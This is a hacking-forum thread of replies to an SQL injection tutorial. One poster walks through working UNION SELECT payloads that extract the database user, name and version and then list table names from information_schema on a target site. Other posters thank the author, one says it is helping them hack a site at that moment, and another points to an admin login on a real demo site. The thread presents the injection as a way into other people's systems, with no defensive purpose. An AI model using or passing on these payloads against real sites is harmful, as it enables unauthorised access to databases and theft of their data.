[mor02]

http://www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen

i dont inderstand this queriy if for example i found colums id what i will do
thanx

[pdz]

thanks my brother ,good job

[Nebula]

Hanks great tut, it's heliping me to hack a site right now, thanks.

[Y-Trick™]

Thanks, Dude.
It's very usefull =)

[tequila]

http://www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen

i dont inderstand this queriy if for example i found colums id what i will do
thanx

Im pretty sure its explained in this tutorial, but im just bored.

Anyhow, lets go over the specific query at first:

Code

index.php?catid=1 union select 1,concat_ws(0x3a,user(),database(),version()),3,4--

First off it seems that we have 4 columns available for this current example and the second column is vulnerable.

So as you can see here his extracting info from the second column using

Code

concat_ws(0x3a,user(),database(),version())

concat_ws stands for "concatenate with separator" what means that it parses strings together and places a seperator between strings. In this example we have hex code 0x3a (thats :).

If we want to get more info out of that query we need to just ask the database. Let's do that now.

Code

index.php?catid=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--

So what we do here is (in simple terms) that we are asking the second column to group_concat (that means concatenate in groups) table names from information_schema.tables where table_schema=database().

The remaining 3,4 after group_concat are the column numbers, keep in mind that you must always drag them along for the query to work!

If you have any other questions feel free to pm.

[osean]

😉😉

very very nice post..ceer for all :D

[bdman]

nice post....but not worked

[Happeh]

Thanks for this. Helped me grasp the basics.

[WinnieThePooh]

Nice dude<3 But your forums layout is fucked.

[ilovepizzaa]

Thank you thanks
Thank you thanks
Thank you thanks

[GosthShadow]

http://demo.webwiznewspad.com/admin.asp go here and just click login xD

hm overlooked the demo -.-"

[hacker300]

LEECHER OR WHAT? cyberhackers.org/thread-538.html

[hacker300]

LEECHER OR WHAT? cyberhackers.org/thread-538.html

[tayraN]

nice post mate, this helped me :)

[subzer00]

Now, when you say order of.. do you do
/index.php?catid= 1
/index.php?catid= 2
/index.php?catid= 3
and so on and so forth until you get the error?